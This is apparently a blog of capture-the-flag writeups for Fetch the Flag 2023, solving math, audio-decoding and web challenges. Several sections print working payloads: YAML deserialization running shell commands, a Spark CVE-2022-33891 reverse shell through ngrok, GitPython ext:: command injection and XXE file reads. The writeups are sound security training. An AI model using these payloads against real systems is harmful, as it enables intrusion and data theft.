Fetch the Flag CTF 2023
Here are my writeups for Fetch the Flag CTF 2023. The event took place from Fri, 27 Oct. 2023 09:00 Eastern Standard Time (EST) until Sat, 28 Oct. 2023 09:00 EST.
Fetch The Flag 2023 Quick Maths Writeup
This is a writeup for the Fetch The Flag 2023 Quick Maths challenge.
Challenge notes
To try and get better grades in math, I made a program that gave me timed quizzes. Funny thing is that as I got better at the questions in this test, I got worse grades on my math tests.
NOTE: Float answers are rounded to 1 decimal points.
NOTE: And here’s another twist… the answers to division questions depend on integer division or double division. I.e., 3/5 = 0 3/5.0 = .6
Press the Start button in the top-right to begin this challenge. Connect with:
nc challenge.ctf.games 32237
Connecting to the challenge server
Using the command supplied in the challenge notes, I use nc to connect to
the challenge server. The server prompts you to solve math challenges and times
you out when you don’t answer fast enough.
Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.
Note to self: Round all answers to 1 decimal point, where applicable.
Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 97.2 / 33.7?
Too Slow!!!
Good bye :(
I decided to use this as an opportunity to test out the nclib library in Python. You can use nclib to automate
interacting with telnet-like interfaces over the network.
The protocol
The challenge server writes 6 lines of text and asks the user to enter y.
After that, the server prompts you to solve a long chain of arithmetic
questions.
Here is one more transcript from the server:
Welcome! To be honest, I am a Computer Science major but I was never any good at math in school. I seemed to always get Cs.
Note to self: Round all answers to 1 decimal point, where applicable.
Do you want to give it a chance? (Y/n): y
Awesome, good luck!
What is 3 / 5?
What is 3 / 5.0?
Too Slow!!!
Good bye :(
As noted in the challenge notes, the server cares about integer and float division.
The solution script
I first define a few test cases in pytest to make sure that I get the
integer versus float division right:
from calculator import calculate
def test_all() -> None:
assert calculate("What is 3 / 5?") == 0
assert calculate("What is 3 / 5.0?") == 0.6
assert calculate("What is 76.0 * 36.1?") == 2743.6
assert calculate("Correct!\nWhat is 76.0 * 36.1?") == 2743.6
This is the calculate function in Python:
import re, operator
FORMULA_RE = re.compile(
r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
re.MULTILINE,
)
OPERATORS = {
"*": operator.mul,
"/": operator.truediv,
"+": operator.add,
"-": operator.sub,
}
def calculate(formula: str) -> Union[int, float]:
"""Evaluate a formula."""
match = FORMULA_RE.match(formula)
assert match is not None, f"Couldn't match {formula}"
left, op_chr, right = match.group(1, 2, 3)
floats = '.' in left or '.' in right
op = OPERATORS[op_chr]
if floats:
return round(op(float(left), float(right)), 1)
return int(op(int(left), int(right)))
The calculate function performs the following tasks:
- Use a regular expression to parse the math formula from the server’s question.
- Pick the right operator from a dictionary called
OPERATORS - Determine if the answer is expected to be a floating point number or integer.
- If a floating point number is required, run the calculation and return the result rounded to 1 decimal point
- If an integer is required, round the result and return it.
Here’s the full script that solved the challenge:
#!/usr/bin/env python3
import operator
import re
from typing import Union
import nclib
HOST = "challenge.ctf.games", 32237
FORMULA_RE = re.compile(
r"(?:.+\n)?What is ([0-9.]+) ([*/+-]) ([0-9.]+)\?",
re.MULTILINE,
)
OPERATORS = {
"*": operator.mul,
"/": operator.truediv,
"+": operator.add,
"-": operator.sub,
}
def calculate(formula: str) -> Union[int, float]:
"""Evaluate a formula."""
match = FORMULA_RE.match(formula)
assert match is not None, f"Couldn't match {formula}"
left, op_chr, right = match.group(1, 2, 3)
floats = '.' in left or '.' in right
op = OPERATORS[op_chr]
if floats:
return round(op(float(left), float(right)), 1)
return int(op(int(left), int(right)))
def main():
nc = nclib.Netcat(HOST)
print(nc.recv_until("(Y/n): ").decode())
nc.send_line("y")
print(nc.recv_until("Awesome, good luck!\n").decode())
while True:
line = nc.recv_until("? ").decode()
print("Next question:", line)
line = line.strip()
result = calculate(line)
print("Calculated the result:", result, "-- sending now")
nc.send_line(str(result))
if __name__ == "__main__":
main()
Fetch The Flag 2023 YSON Writeup
This is a writeup for the Fetch The Flag 2023 YSON challenge.
Challenge notes
Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!
Find the flag.txt file in the root of the filesystem.
Press the Start button on the top-right to begin this challenge. Connect with:
http://challenge.ctf.games:30944
Nmap
I use Nmap to fingerprint the HTTP server:
# We don't want to ping it, and just look at the challenge port
nmap \
-Pn \
-p30944 \
--script=+http-title.nse \
--script=+http-server-header.nse \
challenge.ctf.games
Nmap prints the following:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:33 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com
PORT STATE SERVICE
30944/tcp open unknown
|_http-server-header: Werkzeug/3.0.1 Python/3.11.6
|_http-title: YSON: Convert YAML to JSON
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
This means I must look for Python specific YAML vulnerabilities. I refer to the HackTricks page on Python YAML serialization vulnerabilities.
The site
The YSON site converts YAML to JSON, as advertised. Here’s a sample YAML input:
name: John Doe
age: 30
is_student: false
address:
street: 123 Elm St
city: Springfield
zip: 12345
skills:
- Python
- JavaScript
- SQL
YSON returns the following JSON response:
{
"name": "John Doe",
"age": 30,
"is_student": false,
"address": {
"street": "123 Elm St",
"city": "Springfield",
"zip": 12345
},
"skills": ["Python", "JavaScript", "SQL"]
}
The following shows a curl and jq invocation to test the YSON API from
the command line:
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input@example_input.yaml" |
jq "., (.data | fromjson)"
This prints the following:
{
"data": "{\n \"name\": \"John Doe\",\n \"age\": 30,\n \"is_student\": false,\n \"address\": {\n \"street\": \"123 Elm St\",\n \"city\": \"Springfield\",\n \"zip\": 12345\n },\n \"skills\": [\n \"Python\",\n \"JavaScript\",\n \"SQL\"\n ]\n}",
"status": "success"
}
Here are the contents of the data property, parsed as JSON:
{
"name": "John Doe",
"age": 30,
"is_student": false,
"address": {
"street": "123 Elm St",
"city": "Springfield",
"zip": 12345
},
"skills": ["Python", "JavaScript", "SQL"]
}
Exploit
I attempt to use the Vulnerable .load("<content>") without Loader method from the HackTricks page.
I test whether the YSON API is vulnerable with the following command:
set -l bad_input '
!!python/object/apply:builtins.range
- 1
- 10
- 1
'
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input=$bad_input" |
jq "., (.data | fromjson)"
The YSON API returns a Python range() object. This tells me that the API
is vulnerable. This YAML deserialization vulnerability lets me run
arbitrary external commands using subprocess.check_output.
I proceed to print out the contents of /flag.txt with
the following YAML payload:
set -l bad_input '!!python/object/apply:subprocess.check_output
args: [["cat", "/flag.txt"]]
kwds: {"encoding": "utf-8"}
'
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input=$bad_input" |
jq "., (.data | fromjson)"
This prints out the following flag:
flag{6766066cea624a90b1ae5b47a4a320d9}
Fetch The Flag 2023 Sparky Writeup
This is a writeup for the Fetch The Flag 2023 Sparky challenge.
Challenge notes
Alright sparky, here’s another web application test for you. We’re running this in prod but we’ve given you a separate dev instance to test. No source code, no inside info. Just pwn and profit and tell us how you did it!
Press the Start button on the top-right to begin this challenge.
Connect with:
http://challenge.ctf.games:31904/
Nmap
I use Nmap to fingerprint the server:
nmap \
-Pn \
-p31904 \
--script=+http-title.nse \
--script=+http-server-header.nse \
challenge.ctf.games
Nmap prints the following:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 17:24 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com
PORT STATE SERVICE
31904/tcp open unknown
|_http-title: Spark Master at spark://0.0.0.0:7077
|_http-server-header: Jetty(9.4.36.v20210114)
Nmap done: 1 IP address (1 host up) scanned in 5.47 seconds
If it runs Jetty, it runs Java. What’s Jetty anyway?
Jetty provides a web server and servlet container, additionally providing support for HTTP/2, WebSocket, OSGi, JMX, JNDI, JAAS and many other integrations. […] 1
Furthermore, Spark Master in the HTTP title means that this runs Apache
Spark:
Apache Spark - A Unified engine for large-scale data analytics
Apache Spark is a unified analytics engine for large-scale data processing. It provides high-level APIs in Java, Scala, Python and R, and an optimized engine that supports general execution graphs. […]2
When you visit the site on port 7077, you can see a user interface for observing spark workers and applications:
Spark Master (often written standalone Master) is the resource manager for the Spark Standalone cluster to allocate the resources (CPU, Memory, Disk etc…) among the Spark applications. The resources are used to run the Spark Driver and Executors. 3
Web interface
The machine runs Spark version 3.3.1. The Spark maintainers released version 3.3.1 on 2022-10-254.
This version of Apache Spark is vulnerable to an access control bypass with CVE-2022-338915:
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name.5
Exploit
I’m a script kiddie, so I find an RCE proof of concept exploit for CVE-2022-33891.
I use ngrok and nc to listen for connections. My local port is 5612
and the ngrok remote port is 12884. Here, I launch nc:
nc -v -l 5612
This is how the exploit gives you a reverse shell using the web user interface.
poetry run ./poc.py \
--url http://challenge.ctf.games \
--port 31904 \
--revshell \
--listeninghost 0.tcp.jp.ngrok.io \
--listeningport 12884
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 12884
[*] When your listener is set up, press enter!
[X] ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))
I search for the flag in the nc listener:
sh: 0: can't access tty; job control turned off
$ cat /flag.txt
flag{1cf5f0f135914e5154a6fe20085b0b7a}
$ ⏎
-
https://eclipse.dev/jetty/ “The Eclipse Jetty Project” ↩︎
-
https://spark.apache.org/docs/latest/index.html “Apache Spark - A Unified engine for large-scale data analytics” ↩︎
-
https://stackoverflow.com/a/43944575 “Role of master in Spark standalone cluster” ↩︎
-
https://spark.apache.org/news/index.html “Spark News” ↩︎
-
https://nvd.nist.gov/vuln/detail/cve-2022-33891 CVE-2022-33891 ↩︎ ↩︎
Fetch The Flag 2023 GetHub Writeup
This is a writeup for the Fetch The Flag 2023 GetHub challenge.
The challenge comes with a source code bundle. The following code in src/app.py looks exploitable:
# src/app.py
from git import Repo
# […]
@app.route('/clone', methods = ['POST', 'GET'])
def clone():
if request.method == 'POST':
new_repo = request.form['repo']
new_name = f'repositories/{new_repo.split("/")[-1].split(".")[0]}'
print("new_name", new_name)
try:
Repo.clone_from(
new_repo,
new_name,
multi_options=["-c protocol.ext.allow=always"],
)
except Exception as e:
print(e)
return render_template('clone.html')
return render_template('clone.html')
else:
return render_template('clone.html')
Certain versions of the Python package GitPython are vulnerable to a remote code execution vulnerability:
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. 1
There’s proof of concept payload2 for CVE-2022-244391:
from git import Repo
r = Repo.init('', bare=True)
r.clone_from(
'ext::sh -c touch% /tmp/pwned',
'tmp',
multi_options=["-c protocol.ext.allow=always"],
)
The challenge server stores the flag at /home/challenge/gethub/flag.txt.
Here’s the winning payload that you can pass to the /clone endpoint:
ext::sh -c mkdir% /home/challenge/gethub/repositories/$(cat% /home/challenge/gethub/flag.txt)
-
https://www.cve.org/CVERecord?id=CVE-2022-24439 “All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command.” ↩︎ ↩︎
-
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858 “Remote Code Execution (RCE) Affecting gitpython package, versions [0,3.1.30)” ↩︎
Fetch The Flag 2023 Finders Keepers
This is a writeup for the Fetch The Flag 2023 Finders Keepers challenge.
Challenge notes
Patch found a flag! He stored it in his home directory… should be able to keep it?
Solution
This challenge reminded me a lot of the OverTheWire Bandit wargame.
After gaining foothold on a Linux machine, one of the first things you typically do is look for misconfigured services, applications, and exposed secrets.
On this machine, the /usr/bin/find command has an active set
group id bit (SGID.)
See the s bit in the group part of Access: (2755/-rwxr-sr-x) here:
user@finders-keepers-7688f55750bdad7c-57f4c85fbf-7m6c6:~$ stat /usr/bin/find
File: /usr/bin/find
Size: 282088 Blocks: 552 IO Block: 4096 regular file
Device: ffh/255d Inode: 653095 Links: 1
Access: (2755/-rwxr-sr-x) ...
^
set group id bit
... Uid: ( 0/ root) Gid: ( 1001/ patch)
^
Set to this group id
Access: 2022-03-23 13:52:12.000000000 +0000
Modify: 2022-03-23 13:52:12.000000000 +0000
Change: 2023-10-27 13:54:12.022668824 +0000
Birth: 2023-10-27 13:54:12.017668516 +0000
This means that when running /usr/bin/find, you are part of the patch group. It just so happens that the user patch stores a secret file in their home
directory. The patch group can access this file as well.
I use the /usr/bin/find command together with cat and search for files that belong to patch. Here’s the flag, among other things that find prints:
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
flag{e4bd38e78379a5a0b29f047b91598add}
[...]
Fetch The Flag 2023 Beep64 Writeup
This is a writeup for the Fetch The Flag 2023 Beep64 challenge.
Challenge notes
Every CTF needs a base64 challenge… right?
Download the file(s) below.
Challenge archive
The archive chall.zip contains one file sine.wav. Run file on the
sine.wav to see what this file contains:
sine.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 8 bit, mono 8000 Hz
Here’s what the file output means:
- The file stores audio information in a
RIFFcontainer. - The file stores 8000 audio samples per second using pulse code modulation.
- One audio sample has 8 bit of information.
- One second then holds 8 bit * 8000 = 64000 bit, or
- 8 kB per second of information.
When you listen to the file sine.wav, you can hear a long series of
DTMF1 sounds.
Decoding the signal
You can decode the DTMF signals in sine.wav using sox 2 and multimon-ng3.
Here’s the full command that decodes the contents of sine.wav:
sox \
-V3 \
--volume 0.8 \
sine.wav \
--type raw \
--encoding signed-integer \
--bits 16 \
--rate 22050 \
- |
multimon-ng -a DTMF - |
tail -n+2 |
cut -d' ' -f2 |
tr -d '\n' |
sed -E "s/\*/\n*\n/g" > out.txt
This prints a long list of characters into the file out.txt. Reviewing
the out.txt file shows that it
contains sequences of 1-4 numbers followed by a * symbol.
9999
*
33
*
777
*
666
*
7777
*
7
*
2
*
222
*
33
*
666
*
66
*
33
*
[… rest omitted …]
Telephone keypad
This resembles letters written using a numeric keypad like on telephones. Here’s a mapping of the numeric keys and their corresponding letters:
2,A
22,B
222,C
3,D
33,E
333,F
4,G
44,H
444,I
5,J
55,K
555,L
6,M
66,N
666,O
7,P
77,Q
777,R
7777,S
8,T
88,U
888,V
9,W
99,X
999,Y
9999,Z
You can then skip the * characters and use this mapping to decode the contents of out.txt.
THEFLAGISZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPAC
EONESPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEO
NESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZ
EROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACE
ZEROZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONES
PACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEONEZEROSPACEONESPACEONESPACEONESPA
CEZEROSPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPAC
EONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZE
ROSPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEO
NESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEO
NESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZ
EROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSP
ACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROS
PACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEZERO
SPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONES
PACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEONEZEROSPACEO
NESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZ
EROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEONESPACEZEROSPACEONESPACE
ZEROSPACEONESPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACE
ONEZEROSPACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSPACEONESP
ACEONESPACEZEROSPACEONESPACEONESPACEZEROSPACEONEZEROSPACEONESPACEZEROSPACEONESPA
CEONESPACEZEROSPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPAC
EONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROS
PACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZER
OSPACEZEROSPACEZEROSPACEONESPACEZEROSPACEONEZEROSPACEZEROSPACEONESPACEONESPACEZE
ROSPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACE
ZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEZEROZEROSP
ACEONESPACEZEROSPACEZEROSPACEZEROSPACEONESPACEONESPACEZEROZEROSPACEONESPACEONESP
ACEZEROSPACEONESPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEZEROSPACEONES
PACEONESPACEZEROSPACEONEZEROSPACEONESPACEONESPACEZEROSPACEONESPACEZEROSPACEONESP
ACEZEROZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACEONEZEROSPACE
ONESPACEONESPACEONESPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACE
ZEROSPACEONESPACEONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROSPACE
ONESPACEONESPACEONEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEO
NEZEROSPACEZEROSPACEONESPACEONESPACEZEROSPACEZEROSPACEONESPACEZEROZEROSPACEONESP
ACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEZEROZEROSPACEONESPACEZEROSPACEZEROS
PACEZEROSPACEONESPACEZEROSPACEZEROZEROSPACEONESPACEZEROSPACEONESPACEZEROSPACEONE
SPACEZEROSPACEONEZEROSPACEONESPACEONESPACEONESPACEZEROSPACEONESPACEONESPACEONEZE
ROSPACEONESPACEZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONEZEROSPACEONESPACEZER
OSPACEZEROSPACEONESPACEZEROSPACEZEROSPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEZ
EROSPACEZEROSPACEZEROSPACEZEROZEROSPACEZEROSPACEONESPACEONESPACEONESPACEONESPACE
ZEROSPACEONE
That already looks like binary. Store the contents into another file called letters.txt. Use sed to
rewrite the letters to binary like so:
cat letters.txt |
sed 's/THEFLAGIS//' |
sed 's/ZEROZERO/0\n0/g' |
sed 's/ONEZERO/1\n0/g' |
sed 's/ZERO/0/g' |
sed 's/ONE/1/g' |
sed 's/SPACE//g' > binary.txt
Binary
The binary.txt file now contains rows with patterns of 8 ones and zeros.
This suggests that these are ASCII values in binary.
01011010
01101101
01111000
01101000
01011010
00110011
01110011
01110111
Here’s how you can use Python to decode these binary ASCII VALUES:
python3 -c "
import sys
print(''.join(
chr(int(c, 2)) for c in sys.stdin.read().splitlines()
))
" < binary.txt | base64 -D
Here’s the flag:
flag{0421a964add97ff041431e2418e64508}
-
https://en.wikipedia.org/wiki/DTMF_signaling “DTMF signaling” ↩︎
-
https://en.wikipedia.org/wiki/SoX “Sound eXchange (SoX) is a cross-platform audio editing software.” ↩︎
-
https://github.com/EliasOenal/multimon-ng “multimon-ng: digital radio transmission decoder” ↩︎
Fetch The Flag 2023 Bedsheets Writeup
This is a writeup for the Fetch The Flag 2023 Bedsheets challenge.
Challenge notes
Buying new bed sheets is always a hassle, so I made a new website to make it easier.
Hint: Flag is at /home/challenge/flag.txt
Psst… Snyk can help solve this challenge! Try it out!
Press the Start button in the top-right to begin this challenge.
Connect with:
http://challenge.ctf.games:30814
Web app
The Python module at src/app.py contains a Flask web app. The
app has the following endpoints:
- Index at
/ - Error page at
/error - Create
.xlsxspreadsheet files at/createSheets. - List created spreadsheet files at
/finishedSheets. - Download individual spreadsheet files at
/finsihedSheets/<sheetname>.
The web app uses the xml2xlsx Python package to convert XML documents to
.xlsx spreadsheets.
The goal is to use this web app to steal the flag at /home/challenge/flag.txt.
Vulnerability
The way the app converts XML to XLSX is vulnerable to XML external entity inclusion. 1. In the frontend, you can submit an XML body that the app creates according to this template in JavaScript:
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>${bedSize}</cell></row>
<row><cell>Color</cell><cell>${color}</cell></row>
<row><cell>Thread Count</cell><cell>${threadCount}</cell></row>
<row><cell>Quantity</cell><cell>${quantity}</cell></row>
</sheet>
You’re not limited to sending data according to this specific template.
Exploit code
Here’s how to ask the web app to include the contents of flag.txt in the
XML document:
echo '<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>' |
curl 'http://challenge.ctf.games:31249/createSheets' \
-X POST \
-H 'Content-Type: application/xml' \
--data-binary @-
Internally, src/app.py concatenates this to the following XML document:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>
This in turn evaluates to an XML document and resulting spreadsheet that includes
the contents of the flag.txt file in the first row under Bed Size. If it works
correctly, you should see the following output:
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/finishedSheets">/finishedSheets</a>. If not, click the link.
Fetch the sheet that you’ve just created. The first row contains the flag. Here’s how you can fetch the spreadsheet using curl:
curl http://challenge.ctf.games:31249/finishedSheets/
# Find your spreadsheet's name and download it:
curl http://challenge.ctf.games:31249/finishedSheets/XXXXXXXXXXXXXXXXXXX.xlsx
-
https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files “Portswigger guide on XXE” ↩︎